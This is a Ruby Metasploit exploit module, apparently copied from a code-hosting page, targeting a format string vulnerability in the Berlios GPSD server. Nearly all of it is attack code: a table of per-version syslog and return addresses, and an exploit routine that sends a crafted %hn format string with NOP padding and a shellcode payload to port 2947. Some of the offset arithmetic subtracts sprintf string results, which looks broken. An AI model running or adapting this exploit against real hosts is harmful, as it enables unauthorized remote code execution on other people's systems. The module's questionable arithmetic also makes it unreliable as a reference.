100 lines
3.8 KiB
Ruby
100 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Berlios GPSD Format String Vulnerability',
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'Description' => %q{
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This module exploits a format string vulnerability in the Berlios GPSD server.
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This vulnerability was discovered by Kevin Finisterre.
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},
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'Author' => [ 'Yann Senotier <yann.senotier[at]cyber-networks.fr>' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-1388' ],
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[ 'OSVDB', '13199' ],
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[ 'BID', '12371' ],
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[ 'URL', 'http://www.securiteam.com/unixfocus/5LP0M1PEKK.html'],
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],
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1004,
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'BadChars' => "\x00\x0a\x0d\x0c",
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},
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'Targets' =>
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[
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[ 'gpsd-1.91-1.i386.rpm', { 'Syslog' => 0x0804f250, 'Ret' => 0x41424344 }, ],
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[ 'gpsd-1.92-1.i386.rpm', { 'Syslog' => 0x0804f630, 'Ret' => 0x41424344 }, ],
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[ 'gpsd-1.93-1.i386.rpm', { 'Syslog' => 0x0804e154, 'Ret' => 0x41424344 }, ],
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[ 'gpsd-1.94-1.i386.rpm', { 'Syslog' => 0x0804f260, 'Ret' => 0x41424344 }, ],
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[ 'gpsd-1.95-1.i386.rpm', { 'Syslog' => 0x0804f268, 'Ret' => 0x41424344 }, ],
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[ 'gpsd-1.96-1.i386.rpm', { 'Syslog' => 0x41424344, 'Ret' => 0x41424344 }, ],
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[ 'gpsd-1.97-1.i386.rpm', { 'Syslog' => 0x0804b14c, 'Ret' => 0x41424344 }, ],
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[ 'gpsd-2.1-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
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[ 'gpsd-2.2-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
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[ 'gpsd-2.3-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbfffd661 }, ],
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[ 'gpsd-2.4-1.i386.rpm', { 'Syslog' => 0x0804c7b8, 'Ret' => 0xbfffde71 }, ],
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[ 'gpsd-2.5-1.i386.rpm', { 'Syslog' => 0x0804c7dc, 'Ret' => 0xbfffdc09 }, ],
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[ 'gpsd-2.6-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbffff100 }, ],
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[ 'gpsd-2.7-1.i386.rpm', { 'Syslog' => 0x0804c5bc, 'Ret' => 0xbfffcabc }, ],
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[ 'gpsd_2.6-1_i386.deb', { 'Syslog' => 0x0804c7c4, 'Ret' => 0xbfffedc8 }, ],
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[ 'gpsd_2.7-1_i386.deb', { 'Syslog' => 0x0804c6c4, 'Ret' => 0xbfffc818 }, ],
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[ 'gpsd_2.7-2_i386.deb', { 'Syslog' => 0x0804c770, 'Ret' => 0xbfffee70 }, ],
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[ 'SuSE 9.1 compiled 2.0', { 'Syslog' => 0x0804c818, 'Ret' => 0xbfffe148 }, ],
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[ 'Slackware 9.0 compiled 2.0', { 'Syslog' => 0x0804b164, 'Ret' => 0xbfffd7d6 }, ],
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[ 'Slackware 9.0 compiled 2.7', { 'Syslog' => 0x0804c3ec, 'Ret' => 0xbfffe65c }, ],
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[ 'Debug ', { 'Syslog' => 0x41424344, 'Ret' => 0xdeadbeef }, ],
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],
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'DisclosureDate' => 'May 25 2005'))
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register_options(
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[
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Opt::RPORT(2947)
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], self.class)
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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offset = 17
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dump_fmt = 7
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al = 3
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hi = (target.ret >> 0) & 0xffff
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lo = (target.ret >> 16) & 0xffff
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shift0 = sprintf("%d",hi) - sprintf("%d",offset) - (dump_fmt * 8 + 16 + al)
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shift1 = (sprintf("%d",0x10000) + sprintf("%d",lo)) - sprintf("%d",hi)
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buf = "A" * 3 + "B" * 4
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buf += [ target['Syslog']].pack('V')
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buf += "B" * 4
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buf += [ target['Syslog'] + 0x2].pack('V')
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buf += "%.8x" * 7 + "%." + shift0 + "lx%hn" + "%." + shift1 + "lx%hn"
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buf += make_nops(3000) + payload.encoded
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sock.put(buf)
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handler
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disconnect
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end
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end
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